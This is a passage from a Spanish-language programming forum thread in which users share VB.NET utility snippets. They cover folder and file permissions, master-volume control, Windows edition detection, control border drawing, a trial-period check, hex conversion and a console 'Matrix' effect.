  11.        Try : Microsoft.WindowsAPICodePack.Taskbar.TaskbarManager.Instance.SetProgressValue(Current_Value, MAX_Value)
  12.            Return True
  13.        Catch ex As Exception : Throw New Exception(ex.Message)
  14.        End Try
  15.    End Function
  16.  
  17. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Marzo 2013, 16:11 pm
Modificar permisos de carpetas:

Código
  1. #Region " Folder Access Function "
  2.  
  3.    ' [ Folder Access Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_Folder_Access("C:\Folder", Folder_Access.Create + Folder_Access.Write, Action.Allow)
  9.    ' Set_Folder_Access("C:\Folder", Folder_Access.Delete, Action.Deny)
  10.  
  11.    Public Enum Folder_Access
  12.        Create = System.Security.AccessControl.FileSystemRights.CreateDirectories + System.Security.AccessControl.FileSystemRights.CreateFiles
  13.        Delete = System.Security.AccessControl.FileSystemRights.Delete + System.Security.AccessControl.FileSystemRights.DeleteSubdirectoriesAndFiles
  14.        Write = System.Security.AccessControl.FileSystemRights.AppendData + System.Security.AccessControl.FileSystemRights.Write + Security.AccessControl.FileSystemRights.WriteAttributes + System.Security.AccessControl.FileSystemRights.WriteData + System.Security.AccessControl.FileSystemRights.WriteExtendedAttributes
  15.    End Enum
  16.  
  17.    Public Enum Action
  18.        Allow = 0
  19.        Deny = 1
  20.    End Enum
  21.  
  22.    Private Function Set_Folder_Access(ByVal Path As String, ByVal Folder_Access As Folder_Access, ByVal Action As Action) As Boolean
  23.        Try
  24.            Dim Folder_Info As IO.DirectoryInfo = New IO.DirectoryInfo(Path)
  25.            Dim Folder_ACL As New System.Security.AccessControl.DirectorySecurity
  26.            Folder_ACL.AddAccessRule(New System.Security.AccessControl.FileSystemAccessRule(My.User.Name, Folder_Access, System.Security.AccessControl.InheritanceFlags.ContainerInherit Or System.Security.AccessControl.InheritanceFlags.ObjectInherit, System.Security.AccessControl.PropagationFlags.None, Action))
  27.            Folder_Info.SetAccessControl(Folder_ACL)
  28.            Return True
  29.        Catch ex As Exception
  30.            Throw New Exception(ex.Message)
  31.            ' Return False
  32.        End Try
  33.  
  34. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 11:12 am
Funciones para controlar el volumen maestro del PC...
Se necesita la API "Vista Core Audio API" : http://www.codeproject.com/Articles/18520/Vista-Core-Audio-API-Master-Volume-Control

· Obtener el volumen maestro:

Código
  1. #Region " Get Master Volume Function "
  2.  
  3.    ' [ Get Master Volume Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Dim Volume As Integer = Get_Master_Volume(Volume_Measure.As_Integer)
  9.    ' Dim Volume As String = Get_Master_Volume(Volume_Measure.As_Percent)
  10.  
  11.    Public Enum Volume_Measure
  12.        As_Integer
  13.        As_Decimal
  14.        As_Single
  15.        As_Percent
  16.    End Enum
  17.  
  18.    Private Function Get_Master_Volume(ByVal Volume_Measure As Volume_Measure)
  19.       Select Case Volume_Measure
  20.            Case Form1.Volume_Measure.As_Integer : Return CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100)
  21.            Case Form1.Volume_Measure.As_Decimal : Return (String.Format("{0:n2}", Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar))
  22.            Case Form1.Volume_Measure.As_Single : Return CSng(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar)
  23.            Case Form1.Volume_Measure.As_Percent : Return CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100) & "%"
  24.            Case Else : Return Nothing
  25.        End Select
  26.    End Function
  27.  
  28. #End Region

· Setear el volumen maestro:

Código
  1. #Region " Set Master Volume Function "
  2.  
  3.    ' [ Set Master Volume Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_Master_Volume(50)
  9.  
  10.    Private Function Set_Master_Volume(ByVal Value As Integer) As Boolean
  11.        Try : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Value / 100)
  12.            Return True
  13.        Catch ex As Exception : Throw New Exception(ex.Message)
  14.        End Try
  15.    End Function
  16.  
  17. #End Region

· Mutear el volumen maestro:
Código
  1. #Region " Mute Master Volume Function "
  2.  
  3.    ' [ Mute Master Volume Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Mute_Master_Volume(False)
  9.    ' Mute_Master_Volume(True)
  10.  
  11.    Private Function Set_Master_Volume(ByVal Mute As Boolean) As Boolean
  12.        Try : Audio_Device.AudioEndpointVolume.Mute = Mute
  13.            Return True
  14.        Catch ex As Exception : Throw New Exception(ex.Message)
  15.        End Try
  16.    End Function
  17.  
  18. #End Region

· Deslizar el volumen maestro (Desvanecer o aumentar):
(Corregido)

Instrucciones:
Código:
Fade_Master_Volume(Desde el volumen, Hasta el volumen, En "X" Milisegundos, Forzar/NoForzar el devanecimiento)

Código
  1. #Region " Fade Master Volume Function "
  2.  
  3.    ' [ Fade Master Volume Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Fade_Master_Volume(0, 100, 5000, Fading_Mode.FadeIN, True)
  9.    ' Fade_Master_Volume(80, 20, 5000, Fading_Mode.FadeOUT, False)
  10.    ' Fade_Master_Volume(10, 50, 5000, Fading_Mode.None, True)
  11.  
  12.    Dim Fade_Value_MIN As Integer
  13.    Dim Fade_Value_MAX As Integer
  14.    Dim Fade_TimeOut As Long
  15.    Dim Fade_Mode As Fading_Mode
  16.    Dim Force_Fading As Boolean
  17.    Dim Fader_Timer As New Timer
  18.  
  19.    Public Enum Fading_Mode
  20.        FadeIN = 0
  21.        FadeOUT = 1
  22.        None = 2
  23.    End Enum
  24.  
  25.    ' Fade Master Volume Function
  26.    Private Function Fade_Master_Volume(ByVal MIN As Integer, ByVal MAX As Integer, ByVal Milliseconds As Long, ByVal Mode As Fading_Mode, ByVal Force As Boolean) As Boolean
  27.  
  28.        If MIN <= 100 And MIN >= 0 And MAX <= 100 And MAX >= 0 Then
  29.  
  30.            Try
  31.  
  32.                Fade_Value_MIN = MIN
  33.                Fade_Value_MAX = MAX
  34.                Fade_TimeOut = Milliseconds
  35.                Fade_Mode = Mode
  36.                Force_Fading = Force
  37.  
  38.                Fader_Timer = New Timer
  39.                AddHandler Fader_Timer.Tick, AddressOf Fade_Master_Volume_Timer_Tick
  40.  
  41.                Select Case Mode
  42.                    Case Fading_Mode.FadeIN : Fader_Timer.Interval = Milliseconds / (MAX - MIN)
  43.                    Case Fading_Mode.FadeOUT : Fader_Timer.Interval = Milliseconds / (MIN - MAX)
  44.                    Case Fading_Mode.None : Fader_Timer.Interval = Milliseconds
  45.                End Select
  46.  
  47.                Fader_Timer.Enabled = True
  48.                Return True
  49.  
  50.            Catch ex As Exception : Throw New Exception(ex.Message)
  51.            End Try
  52.  
  53.        Else
  54.            Throw New Exception("Number is not in range from 0 to 100")
  55.        End If
  56.  
  57.    End Function
  58.  
  59.    ' Fade Master Volume Timer Tick Event
  60.    Private Sub Fade_Master_Volume_Timer_Tick(sender As Object, e As EventArgs)
  61.  
  62.        Dim Current_Vol As Integer = CInt(Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar * 100)
  63.  
  64.        Select Case Fade_Mode
  65.  
  66.            Case Fading_Mode.FadeOUT
  67.                If Not Force_Fading Then
  68.                    If Not Current_Vol <= Fade_Value_MAX Then : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar -= 0.01
  69.                    ElseIf Current_Vol >= Fade_Value_MAX Then : Fader_Timer.Stop() : Fader_Timer.Enabled = False
  70.                    End If
  71.                ElseIf Force_Fading Then
  72.                    If Not Fade_Value_MIN < Fade_Value_MAX Then
  73.                        Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Fade_Value_MIN / 100)
  74.                        Fade_Value_MIN -= 1
  75.                    Else : Fader_Timer.Stop() : Fader_Timer.Enabled = False
  76.                    End If
  77.                End If
  78.  
  79.            Case Fading_Mode.FadeIN
  80.                If Not Force_Fading Then
  81.                    If Not Current_Vol >= Fade_Value_MAX Then : Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar += 0.01
  82.                    ElseIf Current_Vol <= Fade_Value_MAX Then : Fader_Timer.Stop() : Fader_Timer.Enabled = False
  83.                    End If
  84.                ElseIf Force_Fading Then
  85.                    If Not Fade_Value_MIN > Fade_Value_MAX Then
  86.                        Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = (Fade_Value_MIN / 100)
  87.                        Fade_Value_MIN += 1
  88.                    Else : Fader_Timer.Stop() : Fader_Timer.Enabled = False
  89.                    End If
  90.                End If
  91.  
  92.            Case Fading_Mode.None
  93.                Audio_Device.AudioEndpointVolume.MasterVolumeLevelScalar = Fade_Value_MAX
  94.                Fader_Timer.Stop() : Fader_Timer.Enabled = False
  95.  
  96.        End Select
  97.  
  98.    End Sub
  99.  
  100. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 11:18 am
Checkar si un número está entre un rango de números.

PD: Si conocen un método mejor porfavor postéenlo

Código
  1. #Region " Number Is In Range Function "
  2.  
  3.    ' [ Number Is In Range Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(NumberIsInRange(50, 0, 100))
  9.    ' If NumberIsInRange(5, 1, 10) then...
  10.  
  11.    Private Function NumberIsInRange(ByVal Number As Integer, ByVal MIN As Integer, ByVal MAX As Integer) As Boolean
  12.        Select Case Number
  13.            Case MIN To MAX : Return True
  14.            Case Else : Return False
  15.        End Select
  16.    End Function
  17.  
  18. #End Region





Modificar permisos de archivos:

Código
  1. #Region " Set File Access Function "
  2.  
  3.    ' [ Set File Access Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_File_Access("C:\File.txt", File_Access.Read + File_Access.Write, Action.Allow)
  9.    ' Set_File_Access("C:\File.txt", File_Access.Full, Action.Deny)
  10.  
  11.    Public Enum File_Access
  12.        Delete = System.Security.AccessControl.FileSystemRights.Delete + Security.AccessControl.FileSystemRights.DeleteSubdirectoriesAndFiles
  13.        Read = System.Security.AccessControl.FileSystemRights.ExecuteFile + System.Security.AccessControl.FileSystemRights.Read
  14.        Write = System.Security.AccessControl.FileSystemRights.Write + Security.AccessControl.FileSystemRights.WriteAttributes + Security.AccessControl.FileSystemRights.WriteExtendedAttributes
  15.        Full = Security.AccessControl.FileSystemRights.FullControl
  16.    End Enum
  17.  
  18.    Public Enum Action
  19.        Allow = 0
  20.        Deny = 1
  21.    End Enum
  22.  
  23.    Private Function Set_File_Access(ByVal File As String, ByVal File_Access As File_Access, ByVal Action As Action) As Boolean
  24.        Try
  25.            Dim File_Info As IO.FileInfo = New IO.FileInfo(File)
  26.            Dim File_ACL As New System.Security.AccessControl.FileSecurity
  27.            File_ACL.AddAccessRule(New System.Security.AccessControl.FileSystemAccessRule(My.User.Name, File_Access, Action))
  28.            File_Info.SetAccessControl(File_ACL)
  29.            Return True
  30.        Catch ex As Exception
  31.            Throw New Exception(ex.Message)
  32.            ' Return False
  33.        End Try
  34.    End Function
  35.  
  36. #End Region




Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 13:13 pm
Obtener la edición de Windows (Sólo para windows VISTA o superior)

Código
  1. #Region " Get OS Edition Function "
  2.  
  3.    ' [ Get OS Edition Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim Edition As String = Get_OS_Edition()
  7.    ' MsgBox("You are running Windows " & Get_OS_Edition() & " Edition")
  8.  
  9.    Private Const STARTER As Integer = &HB
  10.    Private Const HOME_BASIC As Integer = &H2
  11.    Private Const HOME_BASIC_N As Integer = &H5
  12.    Private Const HOME_PREMIUM As Integer = &H3
  13.    Private Const HOME_PREMIUM_N As Integer = &H1A
  14.    Private Const BUSINESS As Integer = &H6
  15.    Private Const BUSINESS_N As Integer = &H10
  16.    Private Const ENTERPRISE As Integer = &H4
  17.    Private Const ENTERPRISE_N As Integer = &H1B
  18.    Private Const ULTIMATE As Integer = &H1
  19.    Private Const ULTIMATE_N As Integer = &H1C
  20.  
  21.    Private Declare Function GetProductInfo Lib "kernel32" (ByVal dwOSMajorVersion As Integer, ByVal dwOSMinorVersion As Integer, ByVal dwSpMajorVersion As Integer, ByVal dwSpMinorVersion As Integer, ByRef pdwReturnedProductType As Integer) As Integer
  22.  
  23.    Public Function Get_OS_Edition() As String
  24.        Dim Edition_Type As Integer
  25.        If GetProductInfo(Environment.OSVersion.Version.Major, Environment.OSVersion.Version.Minor, 0, 0, Edition_Type) Then
  26.            Select Case Edition_Type
  27.                Case STARTER : Return "Starter"
  28.                Case HOME_BASIC : Return "Home Basic"
  29.                Case HOME_BASIC_N : Return "Home Basic N"
  30.                Case HOME_PREMIUM : Return "Home Premium"
  31.                Case HOME_PREMIUM_N : Return "Home Premium N"
  32.                Case BUSINESS : Return "Business"
  33.                Case BUSINESS_N : Return "Business N"
  34.                Case ENTERPRISE : Return "Enterprise"
  35.                Case ENTERPRISE_N : Return "Enterprise N"
  36.                Case ULTIMATE : Return "Ultimate"
  37.                Case ULTIMATE_N : Return "Ultimate N"
  38.                Case Else : Return "Unknown"
  39.            End Select
  40.        End If
  41.        Return Nothing ' Windows is not VISTA or Higher
  42.    End Function
  43.  
  44. #End Region


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 17 Marzo 2013, 15:19 pm
· Función para modificar el color del borde de un control.

(http://img826.imageshack.us/img826/3144/prtscrcapture2io.jpg)

Nota:
Afecta a todos los controles handleados, es decir, si cambiamos el color de "button1", y luego el color de "button2", el color de "button1" pasará a ser el color que usa "button2", no he conseguido mejorarlo más, pero bueno, lo suyo es colorear todos los bordes dle mismo color, ¿no?, así que creo que no tiene mucha importancia...


#Region " Set Control Border Color Function "

    ' [ Set Control Border Color Function ]
    '
    ' // By Elektro H@cker
    '
    ' Examples :
    ' Set_Control_Border_Color(Button1, Pens.Crimson, Pens.Red, Pens.DarkRed)
    ' Set_Control_Border_Color(Checkbox1, Pens.Transparent, Pens.Transparent, Pens.Transparent)

    Dim Border_Color_Light As Pen
    Dim Border_Color_Middle As Pen
    Dim Border_Color_Dark As Pen

    Private Function Set_Control_Border_Color(ByVal Control As Control, Color_Light As Pen, ByVal Color_Middle As Pen, ByVal Color_Dark As Pen) As Boolean
        Try
            Border_Color_Light = Color_Light
            Border_Color_Middle = Color_Middle
            Border_Color_Dark = Color_Dark
            Handled_Controls.Add(Control)
            AddHandler Control.Paint, AddressOf Control_Paint
            Return True
        Catch ex As Exception : Throw New Exception(ex.Message)
        End Try
    End Function

    Private Sub Control_Paint(ByVal sender As System.Object, ByVal e As System.Windows.Forms.PaintEventArgs)
        Dim offset As Integer = 0
        e.Graphics.DrawRectangle(Border_Color_Light, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
        offset += 1
        e.Graphics.DrawRectangle(Border_Color_Middle, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
        offset += 1
        e.Graphics.DrawRectangle(Border_Color_Dark, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
    End Sub

#End Region


Mejorado:

Código
  1. #Region " Set Control Border Color Function "
  2.  
  3.    ' [ Set Control Border Color Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' Set_Control_Border_Color(Button1, Pens.Crimson, Pens.Red, Pens.DarkRed)
  9.    ' Set_Control_Border_Color(Checkbox1, Pens.Transparent, Pens.Transparent, Pens.Transparent)
  10.  
  11.    Dim Border_Color_Light As Pen
  12.    Dim Border_Color_Middle As Pen
  13.    Dim Border_Color_Dark As Pen
  14.    Dim Last_Handled_control As Control
  15.  
  16.    Private Function Set_Control_Border_Color(ByVal Control As Control, Color_Light As Pen, ByVal Color_Middle As Pen, ByVal Color_Dark As Pen) As Boolean
  17.        Try
  18.            Border_Color_Light = Color_Light
  19.            Border_Color_Middle = Color_Middle
  20.            Border_Color_Dark = Color_Dark
  21.            AddHandler Control.Paint, AddressOf Control_Paint
  22.            Last_Handled_control = Control
  23.            Return True
  24.        Catch ex As Exception : Throw New Exception(ex.Message)
  25.        End Try
  26.    End Function
  27.  
  28.    Private Sub Control_Paint(ByVal sender As System.Object, ByVal e As System.Windows.Forms.PaintEventArgs)
  29.        If sender.name = Last_Handled_control.Name Then
  30.            Dim offset As Integer = 0
  31.            e.Graphics.DrawRectangle(Border_Color_Light, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
  32.            offset += 1
  33.            e.Graphics.DrawRectangle(Border_Color_Middle, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
  34.            offset += 1
  35.            e.Graphics.DrawRectangle(Border_Color_Dark, New Rectangle(New Point(offset, offset), New Size(e.ClipRectangle.Width - ((offset * 2) + 1), e.ClipRectangle.Height - ((offset * 2) + 1))))
  36.        End If
  37.    End Sub
  38.  
  39. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Marzo 2013, 09:38 am
· Periodo Trial

Instrucciones:

1. Crear una Setting de "User" con el nombre "UsageDates" y de tipo "System.collection.specialized.stringcollection"

2. Añadir estas dos funcines al form:

Código
  1. Private Function CheckDate(ByVal dateToCheck As Date) As Boolean
  2.        'In reality, CheckDate would get the date (current date) itself and not have it passed in
  3.        Dim retValue As Boolean = False 'Fail safe, default to false
  4.        Dim usageDatesLeft As Int16 = 3 ' set it to 4 just for testing
  5.        'Dim usageDatesLeft As Int16 = 30 ' set this to the number of days of application access
  6.  
  7.        'Hash the date
  8.        Dim hashedDate As String = HashDate(dateToCheck)
  9.        'Check to see if the hash value exists in the UsageDates
  10.  
  11.        'Initialize the container if necessary
  12.        If My.Settings.UsageDates Is Nothing Then
  13.            My.Settings.UsageDates = New System.Collections.Specialized.StringCollection
  14.        End If
  15.  
  16.        If My.Settings.UsageDates.Contains(hashedDate) Then
  17.            'then we are ok...  it's already been checked
  18.            retValue = True
  19.            usageDatesLeft = CShort(usageDatesLeft - My.Settings.UsageDates.Count)
  20.  
  21.            'sanity check... if the system date is backed up to a previous date in the list, but not the last date
  22.            If usageDatesLeft <= 0 AndAlso My.Settings.UsageDates.IndexOf(hashedDate) <> My.Settings.UsageDates.Count - 1 Then
  23.                retValue = False
  24.            End If
  25.        Else
  26.            If My.Settings.UsageDates.Count < usageDatesLeft Then
  27.                My.Settings.UsageDates.Add(hashedDate)
  28.            End If
  29.            usageDatesLeft = CShort(usageDatesLeft - My.Settings.UsageDates.Count)
  30.  
  31.  
  32.            'If not, and the remining count has "slots" open, add it
  33.            If usageDatesLeft > 0 Then
  34.                retValue = True
  35.            Else
  36.                'If not and tree are no more slots, tell user, exit app
  37.                retValue = False
  38.            End If
  39.  
  40.        End If
  41.        'Display to the user how many days are remianing:
  42.        MessageBox.Show(String.Format("You have {0} day(s) remaining.", usageDatesLeft))
  43.  
  44.        Return retValue
  45.    End Function
  46.  
  47.    Private Function HashDate(ByVal dateToHash As Date) As String
  48.        'Get a hash object
  49.        Dim hasher As System.Security.Cryptography.MD5 = System.Security.Cryptography.MD5.Create()
  50.        'Take date, make it a Long date and hash it
  51.        Dim data As Byte() = hasher.ComputeHash(System.Text.Encoding.Default.GetBytes(dateToHash.ToLongDateString()))
  52.        ' Create a new Stringbuilder to collect the bytes
  53.        ' and create a string.
  54.        Dim sBuilder As New System.Text.StringBuilder()
  55.  
  56.        ' Loop through each byte of the hashed data
  57.        ' and format each one as a hexadecimal string.
  58.        Dim idx As Integer
  59.        For idx = 0 To data.Length - 1
  60.            sBuilder.Append(data(idx).ToString("x2"))
  61.        Next idx
  62.  
  63.        Return sBuilder.ToString
  64.  
  65.    End Function

3. Usar la función por ejemplo en el Form_Load:

Código
  1.    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  2.        Dim aCount As Integer = 0
  3.        Dim loopIt As Boolean = True
  4.        'My.Settings.Reset() 'This is here for design time support... otherwise you won't get your app to run agin
  5.  
  6.        Do While loopIt
  7.            MessageBox.Show(String.Format("Checking Date: {0}.", Date.Now.AddDays(aCount)))
  8.            loopIt = CheckDate(Date.Now.AddDays(aCount))
  9.            If Not loopIt Then
  10.                MessageBox.Show("Trial Period Ended! Application closing!")
  11.                Me.Close()
  12.            Else
  13.                MessageBox.Show("You can keep using the app")
  14.            End If
  15.            aCount += 1
  16.        Loop
  17.    End Sub




· Trial period (Modificado un poco por mí)

Código
  1. #Region " Trial Period Function "
  2.  
  3.    ' [ Trial Period Function ]
  4.    '
  5.    ' Examples :
  6.    ' Trial_Get(Trial_value.As_Boolean)
  7.    ' MsgBox(String.Format("You have {0} day(s) remaining.", Trial_Get(Trial_value.As_LeftDays)))
  8.  
  9.    Public Enum Trial_value
  10.        As_Boolean
  11.        As_LeftDays
  12.        As_CountDays
  13.    End Enum
  14.  
  15.    ' Trial Period [Get]
  16.    Public Function Trial_Get(ByVal Trial_value As Trial_value)
  17.        'My.Settings.Reset() 'If you want to reset the trial period
  18.        Dim TrialCount As Integer = 0
  19.        TrialCount += 1
  20.        Return Trial_CheckDate(Date.Now.AddDays(TrialCount), Trial_value)
  21.    End Function
  22.  
  23.    ' Trial Period [CheckDate]
  24.    Public Function Trial_CheckDate(ByVal Trial_DateToCheck As Date, ByVal Trial_value As Trial_value)
  25.  
  26.        Dim Trial_retValue As Boolean = False ' Fail safe, default to false
  27.        Dim Trial_usageDatesLeft As Int16 = 7 ' Set here the number of days of Trial period
  28.        Dim Trial_hashedDate As String = Trial_HashDate(Trial_DateToCheck)
  29.  
  30.        If My.Settings.Trial_Period Is Nothing Then My.Settings.Trial_Period = New System.Collections.Specialized.StringCollection
  31.  
  32.        If My.Settings.Trial_Period.Contains(Trial_hashedDate) Then
  33.            Trial_retValue = True
  34.            Trial_usageDatesLeft = CShort(Trial_usageDatesLeft - My.Settings.Trial_Period.Count)
  35.            If Trial_usageDatesLeft <= 0 AndAlso My.Settings.Trial_Period.IndexOf(Trial_hashedDate) <> My.Settings.Trial_Period.Count - 1 Then Trial_retValue = False
  36.        Else
  37.            If My.Settings.Trial_Period.Count < Trial_usageDatesLeft Then My.Settings.Trial_Period.Add(Trial_hashedDate)
  38.            Trial_usageDatesLeft = CShort(Trial_usageDatesLeft - My.Settings.Trial_Period.Count)
  39.            If Trial_usageDatesLeft > 0 Then Trial_retValue = True Else Trial_retValue = False
  40.        End If
  41.  
  42.        Select Case Trial_value
  43.            Case Trial_value.As_Boolean : Return Trial_retValue ' If False then Trial Period is expired
  44.            Case Trial_value.As_LeftDays : Return Trial_usageDatesLeft ' Days left
  45.            Case Trial_value.As_CountDays : Return My.Settings.Trial_Period.Count ' Count days
  46.            Case Else : Return Nothing
  47.        End Select
  48.  
  49.    End Function
  50.  
  51.    ' Trial Period [HashDate]
  52.    Public Function Trial_HashDate(ByVal Trial_DateToHash As Date) As String
  53.        Dim Trial_Hasher As System.Security.Cryptography.MD5 = System.Security.Cryptography.MD5.Create()
  54.        Dim Trial_Data As Byte() = Trial_Hasher.ComputeHash(System.Text.Encoding.Default.GetBytes(Trial_DateToHash.ToLongDateString()))
  55.        Dim Trial_StringBuilder As New System.Text.StringBuilder()
  56.        Dim Trial_IDX As Integer
  57.        For Trial_IDX = 0 To Trial_Data.Length - 1 : Trial_StringBuilder.Append(Trial_Data(Trial_IDX).ToString("x2")) : Next Trial_IDX
  58.        Return Trial_StringBuilder.ToString
  59.    End Function
  60.  
  61. #End Region


Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 18 Marzo 2013, 11:26 am
· String a hexadecimal:

Código
  1. #Region " String To Hex Function "
  2.  
  3.    ' [ String To Hex Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim Hex_str As String = String_To_Hex("Elektro H@cker")
  7.  
  8.    Private Function String_To_Hex(ByVal Source_String As String) As String
  9.        Dim Hex_StringBuilder As New System.Text.StringBuilder()
  10.        For Each c As Char In Source_String : Hex_StringBuilder.Append(Asc(c).ToString("x2")) : Next c
  11.        Return Hex_StringBuilder.ToString()
  12.    End Function
  13.  
  14. #End Region



· Hexadecimal a string:

Código
  1. #Region " Hex To String Function "
  2.  
  3.    ' [ Hex To String Function ]
  4.    '
  5.    ' Examples :
  6.    ' Dim str As String = Hex_To_String("456c656b74726f204840636b6572"))
  7.  
  8.    Private Function Hex_To_String(ByVal Source_String As String) As String
  9.        Dim Hex_StringBuilder As New System.Text.StringBuilder()
  10.        For x As Integer = 0 To Source_String.Length - 1 Step 2 : Hex_StringBuilder.Append(Chr(Val("&H" & Source_String.Substring(x, 2)))) : Next x
  11.        Return Hex_StringBuilder.ToString()
  12.    End Function
  13.  
  14. #End Region



· Effecto Matrix (Aplicación de consola)

Código
  1.    Module Module1
  2.        Sub Main()
  3.            Console.Title = "Matrix Effect"
  4.            Console.ForegroundColor = ConsoleColor.DarkGreen
  5.            Console.WindowLeft = InlineAssignHelper(0, 0)
  6.            Console.WindowHeight = InlineAssignHelper(Console.BufferHeight, Console.LargestWindowHeight)
  7.            Console.WindowWidth = InlineAssignHelper(Console.BufferWidth, Console.LargestWindowWidth)
  8.  
  9.            Console.CursorVisible = False
  10.            Dim width As Integer, height As Integer
  11.            Dim y As Integer()
  12.            Dim l As Integer()
  13.            Initialize(width, height, y, l)
  14.            Dim ms As Integer
  15.            While True
  16.                Dim t1 As DateTime = DateTime.Now
  17.                MatrixStep(width, height, y, l)
  18.                ms = 10 - CInt(Math.Truncate(CType(DateTime.Now - t1, TimeSpan).TotalMilliseconds))
  19.                If ms > 0 Then
  20.                    System.Threading.Thread.Sleep(ms)
  21.                End If
  22.                If Console.KeyAvailable Then
  23.                    If Console.ReadKey().Key = ConsoleKey.F5 Then
  24.                        Initialize(width, height, y, l)
  25.                    End If
  26.                End If
  27.            End While
  28.        End Sub
  29.  
  30.        Dim thistime As Boolean = False
  31.  
  32.        Private Sub MatrixStep(ByVal width As Integer, ByVal height As Integer, ByVal y As Integer(), ByVal l As Integer())
  33.            Dim x As Integer
  34.            thistime = Not thistime
  35.            For x = 0 To width - 1
  36.                If x Mod 11 = 10 Then
  37.                    If Not thistime Then
  38.                        Continue For
  39.                    End If
  40.                    Console.ForegroundColor = ConsoleColor.White
  41.                Else
  42.                    Console.ForegroundColor = ConsoleColor.DarkGreen
  43.                    Console.SetCursorPosition(x, inBoxY(y(x) - 2 - ((l(x) \ 40) * 2), height))
  44.                    Console.Write(R)
  45.                    Console.ForegroundColor = ConsoleColor.Green
  46.                End If
  47.                Console.SetCursorPosition(x, y(x))
  48.                Console.Write(R)
  49.                y(x) = inBoxY(y(x) + 1, height)
  50.                Console.SetCursorPosition(x, inBoxY(y(x) - l(x), height))
  51.                Console.Write(" "c)
  52.            Next
  53.        End Sub
  54.  
  55.        Private Sub Initialize(ByRef width As Integer, ByRef height As Integer, ByRef y As Integer(), ByRef l As Integer())
  56.            Dim h1 As Integer
  57.            Dim h2 As Integer = (InlineAssignHelper(h1, (InlineAssignHelper(height, Console.WindowHeight)) \ 2)) \ 2
  58.            width = Console.WindowWidth - 1
  59.            y = New Integer(width - 1) {}
  60.            l = New Integer(width - 1) {}
  61.            Dim x As Integer
  62.            Console.Clear()
  63.            For x = 0 To width - 1
  64.                y(x) = m_r.[Next](height)
  65.                l(x) = m_r.[Next](h2 * (If((x Mod 11 <> 10), 2, 1)), h1 * (If((x Mod 11 <> 10), 2, 1)))
  66.            Next
  67.        End Sub
  68.  
  69.        Dim m_r As New Random()
  70.        Private ReadOnly Property R() As Char
  71.            Get
  72.                Dim t As Integer = m_r.[Next](10)
  73.                If t <= 2 Then
  74.                    Return ChrW(CInt(AscW("0"c)) + m_r.[Next](10))
  75.                ElseIf t <= 4 Then
  76.                    Return ChrW(CInt(AscW("a"c)) + m_r.[Next](27))
  77.                ElseIf t <= 6 Then
  78.                    Return ChrW(CInt(AscW("A"c) + m_r.[Next](27)))
  79.                Else
  80.                    Return ChrW(m_r.[Next](32, 255))
  81.                End If
  82.            End Get
  83.        End Property
  84.  
  85.        Public Function inBoxY(ByVal n As Integer, ByVal height As Integer) As Integer
  86.            n = n Mod height
  87.            If n < 0 Then
  88.                Return n + height
  89.            Else
  90.                Return n
  91.            End If
  92.        End Function
  93.        Private Function InlineAssignHelper(Of T)(ByRef target As T, ByVal value As T) As T
  94.            target = value
  95.            Return value
  96.        End Function
  97.  
  98.    End Module


Título: Re: [APORTE] Snippets !! (Posteen aquí sus snippets)
Publicado por: arts en 18 Marzo 2013, 12:33 pm
Checkar si un número está entre un rango de números.

PD: Si conocen un método mejor porfavor postéenlo

Código
  1. #Region " Number Is In Range Function "
  2.  
  3.    ' [ Number Is In Range Function ]
  4.    '
  5.    ' // By Elektro H@cker
  6.    '
  7.    ' Examples :
  8.    ' MsgBox(NumberIsInRange(50, 0, 100))
  9.    ' If NumberIsInRange(5, 1, 10) then...
  10.  
  11.    Private Function NumberIsInRange(ByVal Number As Integer, ByVal MIN As Integer, ByVal MAX As Integer) As Boolean
